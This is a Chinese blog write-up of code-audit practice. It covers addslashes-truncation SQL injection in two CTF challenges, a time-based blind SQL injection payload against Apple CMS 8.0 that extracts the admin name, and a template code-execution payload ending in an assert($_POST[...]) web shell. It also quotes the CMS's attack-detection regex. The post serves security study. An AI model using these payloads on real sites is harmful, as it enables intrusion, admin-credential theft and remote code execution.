写在前面

​ 红日安全的代码审计文章写的确实很好.打算跟着这些文章慢慢复现,开启代码审计之路吧.
第一篇http://sec-redclub.com/archives/975/ PS:我是从最近的文章开始复现.

0x01

​ 该文章一开始贴上了一题CTF题具体的分析还是看文章吧.

​ 自我总结一下漏洞的产生

​ 传入的参数username,password都有经过sanitizeinput()函数处理.该函数主要功能是,先对传入的参数用addslashes()函数转义特殊字符,例如单引号.然后再substr()截取20个字符.

​ 那么问题来了

​ 假设我们输入值为

1
0123456789123456789’   // 注意最后有个单引号

​ 这时通过addslashes()函数的处理就会变成

1
0123456789123456789\’  // 一共21个字符

​ 然后在用substr()截取出20个字符, 则变成了

1
0123456789123456789\

​ 接着查看sql部分的语句

1
select count(p) from user u where user = '$username' AND password = '$pass'

​ 当我们将构造的20个字符输入到username里,则语句变为

1
select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'

​ 由于反斜杆可以把单引号转义,也就是user的内容变为了

1
1234567890123456789\' AND password =

​ 使得了绕过了防御从而产生注入.

​ 最终我们的payload

1
user=1234567890123456789'&passwd=or 1=1#

0x02

理解了这题之后,突然想起南京邮电大学上有一题似乎类似,于是就按照相同的原理去做了一遍

题目 http://chinalover.sinaapp.com/web15/index.php

题目给的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->

可以看出username和passworde都被clean函数处理过.

1
addslashes():对输入字符串中的某些预定义字符前添加反斜杠,这样处理是为了数据库查询语句等的需要。这些预定义字符是:单引号 (') ,双引号 (") ,反斜杠 (\) ,NULL
1
stripslashes():删除由 addslashes() 函数添加的反斜杠。该函数用于清理从数据库或 HTML 表单中取回的数据。(若是连续二个反斜杠,则去掉一个,保留一个;若只有一个反斜杠,就直接去掉。)
1
默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

也就是说我们传入的值已经被addslashes()函数处理了,可是为了防止双层转义get_magic_quotes_gpc()方法调用了stripslashes()将由addslashes()产生的反斜杠去除.

当我们构造了

1
username =\ &password= or 1=1 #

语句成

1
$query='SELECT * FROM users WHERE name=' \' AND pass='or 1=1%23';   ';

可以看出 单引号闭合以后name的内容为

1
\' AND pass=

因此成功绕过了防护

0x03

实例分析 苹果CMS视频分享程序8.0

说实话我看不出这为啥存在注入….文章里说明显存在.. 可能我还是太菜了.

问题代码 inc/common/template.php

1
2
3
if (!empty($lp['wd'])){
$where .= ' AND ( instr(a_name,\''.$lp['wd'].'\')>0 or instr(a_subname,\''.$lp['wd'].'\')>0 ) ';
}

看看lp的值来源过来的

1
if(!empty($this->P["wd"])){ $lp['wd']  = $this->P["wd"]; $this->P["auto"] = true; }

lp[“wd”]的值有P[“wd”]赋值.
寻找一下P[“wd”]
inc/module/vod.php发现给PW[“wd”]传值语句

1
2
3
4
5
6
7
8
9
10
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd")); $wd = chkSql($wd);
if(!empty($wd)){ $tpl->P["wd"] = $wd; }

if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){
showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
exit;
}

以上代码可以看出wd参数事先经过了be()函数处理,跟进一下be()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}

该函数可以看出be()是对各种传参方式的数据进行过滤清洗
在看看be函数被调用的时候的语句

1
be("all", "wd")

结合以上代码可以得到 wd是通过REQUEST方法将参数传入,并且用addslashes()进行转义.这里其实不太可能出现注入点了.
be处理结束以后调用chksql()函数
将参数进行url解码
检测是否存在注入,其中有个自定义的函数StopAttack(1,$s,$getfilter);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function chkSql($s)
{
global $getfilter;
if(empty($s)){
return "";
}
$d=$s;
while(true){
$s = urldecode($d);
if($s==$d){
break;
}
$d = $s;
}
StopAttack(1,$s,$getfilter);
return htmlEncode($s);
}

利用正则检测是否存在攻击语句语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{
$errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
$StrFiltValue=arr_foreach($StrFiltValue);
$StrFiltValue=urldecode($StrFiltValue);

if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
print $errmsg;
exit();
}
if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
print $errmsg;
exit();
}
}

变量getfiter的内容.很明显用来匹配攻击语句

1
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|_get|_post|_request|_cookie|eval|assert|base64_decode|file_get_contents|file_put_contents|fopen|chr|strtr|pack|gzuncompress|preg_replace|\\{if|\\{else|\\{|\\}|:php";

chksql()函数的返回值调用了一个htmlEncode()
跟进看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function htmlEncode($str)
{
if (!isN($str)){
$str = str_replace(chr(38), "&#38;",$str);
$str = str_replace(">", "&gt;",$str);
$str = str_replace("<", "&lt;",$str);
$str = str_replace(chr(39), "&#39;",$str);
$str = str_replace(chr(32), "&nbsp;",$str);
$str = str_replace(chr(34), "&quot;",$str);
$str = str_replace(chr(9), "&nbsp;&nbsp;&nbsp;&nbsp;",$str);
$str = str_replace(chr(13), "<br />",$str);
$str = str_replace(chr(10), "<br />",$str);
}
return $str;
}

可以看出这个函数是对 & 、 ‘ 、 空格 、 “ 、 TAB 、 回车 、 换行 、 大于小于号 进行html实体编码,遗漏了反斜杠,还有其他空白符号.
现在回顾一下我们有什么条件可利用
首先wd是通过request传参数,
在如下语句中拼接进sql语句

1
2
3
if (!empty($lp['wd'])){
$where .= ' AND ( instr(a_name,\''.$lp['wd'].'\')>0 or instr(a_subname,\''.$lp['wd'].'\')>0 ) ';
}

危险字符经过实体编码和addslashes()的处理,但是实体编码遗漏了反斜杠,而addslashes是在url解码之前做转义,所以我们双重url解码之后就可以绕过adslashes函数,也就是说我们可以利用反斜杠去转义单引号,就回到了文章开头的知识点.

验证漏洞

可能我真的是脸黑,不知道什么原因漏洞没复现成功.原理大概理解了.又得偷图唉..

1
2
payload
))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63

拼接进语句以后

1
$where .= ' AND ( instr(a_name,\'))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63 \')>0 or instr(a_subname,\'))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63\')>0 ) ';

整理一下的语句

1
2
3
4
5
6
7
AND ( instr(a_name,'

))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#\ ')>0 or instr(a_subname,')) /////这边是单引号闭合部分

||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0) 有效部分

#%25%35%63')>0 ) ////// 后面都被注释掉了

0x04

任意代码执行

在复现以上漏洞的时候查了一些博客,发现这个CMS还存在任意代码执行,但是已经被修复了,就是添加了StopAttack()这个函数之后解决了这个问题.
把该函数注释掉以后就可以复现该漏洞了.
问题还是出在wd的参数可控构造满足正则的语句就可以被执行

payload

1
wd={if-A:phpinfo()}{endif-A}

这是可以执行phpinfo()的.把phpinfo()换成其他语句就可以getshell了

getshell_payload

1
wd={if-A:assert($_POST[zhhhy])}{endif-A}

最后还是没复现成功,真的是很心塞啊!

我觉得这个文章的顺序有点问题.. 作者先是一眼看出拼接进去的lp[wd]存在注入,再回头溯源发现wd是可控的.可能还是我太菜了.
按我理解的应该是抓取搜索框发出的包,发现wd参数可控,再到源码层里去追踪wd参数的去向,并记录一下该参数被哪些函数处理过.